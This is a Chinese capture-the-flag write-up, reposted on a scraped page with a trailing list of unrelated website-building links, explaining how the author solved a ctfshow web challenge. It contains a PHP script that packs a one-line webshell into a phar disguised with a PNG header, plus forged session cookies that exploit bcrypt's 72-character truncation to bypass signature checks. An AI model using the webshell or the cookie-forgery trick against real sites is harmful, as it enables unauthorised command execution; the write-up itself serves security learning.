当前位置: 首页 > wzjs >正文

电子工程网官方网站建设个网站多少钱

电子工程网官方网站,建设个网站多少钱,嘉兴seo收费,营销型企业、公司网站案例因为该题没有理解到位,导致看wp也一直出错,特此反思一下。 参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客 首先拿到题目: // www.zip 下载源码 我们的思路就是包含一个css文件,…

因为该题没有理解到位,导致看wp也一直出错,特此反思一下。

参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客

首先拿到题目:

// www.zip 下载源码

我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

 

结合这个data和signature,我们可以先创建一个账号登录一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

 那么再传入我们生成的phar文件再查看一下cookie的变化:

(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下来我们需要关注一个比较有意思的地方:

现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?

我们需要访问/upload.php 但是不需要上传文件即可:

 

这样就凑够了72以上字符,

因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

 {"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:

这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了

但是没考虑到那个password_hash的特性

 

 具体的思路:

1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头

2、通过访问upload.php凑够那个72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme参数

4、访问/index.php  传cmd参数执行命令

http://www.dtcms.com/wzjs/584678.html

相关文章:

  • 学校建设网站费用申请怎么做新浪网站
  • 推荐网站建设建设工程管理条例
  • wordpress网站下载文件外国人做的古文字网站
  • 西安旅游网站开发群晖 套件 wordpress
  • 做网站推广和网络推广默认网站停止
  • 网站建设找哪个学院门户网站建设必要性
  • 想要导航网站推广怎么做深圳网站排名优化团队
  • 邳州微网站开发服装 网站规划方案
  • 深圳网站建设补助怎么做公司网站推广
  • 培训机构网站源码如何免费开个人网站
  • 绿色系的网站网络营销是什么样子的
  • 杭州做网站建设义乌网站建设方案详细
  • 做网站租用数据库请教 网站建设价格一般多少钱
  • 茶叶网站建设要求如何成立工作室
  • 自己有网站源码就可以建设吗seo优化排名服务
  • 大连手机自适应网站建设费用网站集约化建设的目的
  • 南阳网站建设培训网站建设朝阳
  • 兰州网站建设兰州网站上的销售怎么做的
  • 搭建一个购物网站seo怎么做教程
  • dedecms wap网站模板湖南做网站kaodezhu
  • 遵义市建设局网站wordpress升级php版本崩溃
  • 如何优化m网站wordpress 幻灯片插件
  • 洛阳公司青峰做的企业网站六安网新闻
  • 电商网站规划的开发背景网站硬件方案
  • 新民电商网站建设价格咨询wordpress菜单标题属性
  • 怎么做网站文章伪原创盘锦网站开发
  • 新加坡网站开发公司网站建设维护文档
  • 高端网站推荐镇江网站建设介绍服务
  • 绵阳商城网站建设哪些网站做的最有特色
  • h5微网站建设多少钱宝安附近公司做网站建设多少钱